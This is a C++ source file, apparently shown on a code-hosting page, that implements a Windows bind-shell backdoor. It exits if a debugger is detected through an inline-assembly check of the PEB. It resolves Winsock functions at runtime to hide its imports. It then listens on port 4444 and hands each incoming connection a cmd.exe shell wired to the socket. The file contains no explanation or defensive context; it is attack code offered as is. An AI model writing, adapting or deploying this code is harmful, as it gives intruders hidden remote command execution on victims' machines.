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main.cpp
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150 lines (117 loc) · 3.17 KB
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#include <iostream>
//#include <winsock2.h>
#include "windows.h"
//#pragma comment("lib","ws_32.lib")
typedef DWORD LPWSAPROTOCOL_INFOA;
typedef BYTE GROUP;
typedef int ( __stdcall * _WSAStartup )( WORD, LPWSADATA );
typedef SOCKET( __stdcall * _WSASocket )( int, int, int, LPWSAPROTOCOL_INFOA, GROUP, DWORD );
typedef int( __stdcall * _WSACleanup )( );
typedef int( __stdcall * _bind )( SOCKET, const sockaddr *, int );
typedef int( __stdcall * _close )( SOCKET );
typedef int( __stdcall * _listen )( SOCKET, int );
typedef SOCKET( __stdcall * _accept )( SOCKET, const sockaddr *, int );;
bool presentDebugger( ){
asm(
"movl $0x30,%ebx\n\t"
"movl %fs:(%ebx), %eax\n\t"
"movl 0x2(%eax),%eax\n\t"
"and $0xff, %eax"
);
}
int main(int argc, char** argv) {
if( presentDebugger() || argc < 1 ){
ExitProcess(0);
}
HMODULE ws2_32;
WSADATA wsd;
SOCKET sock;
sockaddr_in sin;
// fct
_WSAStartup Startup;
_WSACleanup clean;
_close close;
_bind bind;
_listen listen;
_accept accept;
if( (ws2_32 = LoadLibrary("ws2_32.dll")) == NULL ){
printf("[-] cannot load ws2_32.dll");
ExitProcess(0);
}
// load fcts
Startup = ( _WSAStartup )GetProcAddress( ws2_32, "WSAStartup" );
clean = ( _WSACleanup )GetProcAddress( ws2_32, "WSACleanup" );
close = ( _close )GetProcAddress( ws2_32, "closesocket" );
bind = ( _bind )GetProcAddress( ws2_32, "bind" );
listen = ( _listen )GetProcAddress( ws2_32, "listen" );
accept = ( _accept )GetProcAddress( ws2_32, "accept" );
memset( &wsd, 0, sizeof(wsd));
if( Startup( (WORD)0x2020, &wsd ) != 0 ){
printf("[-] WSAStartup failed !");
clean();
ExitProcess(0);
}
_WSASocket socket;
socket = ( _WSASocket )GetProcAddress( ws2_32, "WSASocketA" );
if( ( sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int )NULL, (unsigned int )NULL ) ) == -1 ){
printf("[-] WSocket failed !");
clean();
ExitProcess(0);
}
memset( &sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(4444);
sin.sin_addr.s_addr = inet_addr("192.168.1.15");
if(bind( sock, ( SOCKADDR* ) &sin, sizeof(sin) ) != 0 ){
printf("[-] Bind failed <%i>", WSAGetLastError() );
clean();
ExitProcess(0);
}
if( listen( sock, 1 ) != 0 ){
printf("[-] listen failed <%i>", WSAGetLastError() );
clean();
ExitProcess(0);
}
printf("%08x", accept );
/*
#
*/
for(;;){
SOCKADDR_IN csin = {0};
memset(&csin, 0, sizeof(csin) );
SOCKET clts = accept( sock, NULL, NULL );
if( clts != INVALID_SOCKET ){
printf("[+] New Connection clients");
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)clts;
if( !CreateProcessA(
NULL,
"cmd.exe",
NULL,
NULL,
true,
0,
NULL,
NULL,
&si, &pi
) ){
printf("[-] Cannot create remote shell");
close(clts);
clean();
}else{
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
Sleep( 200 );
}
close(sock);
clean();
FreeLibrary(ws2_32);
ExitProcess(0);
return 0;
}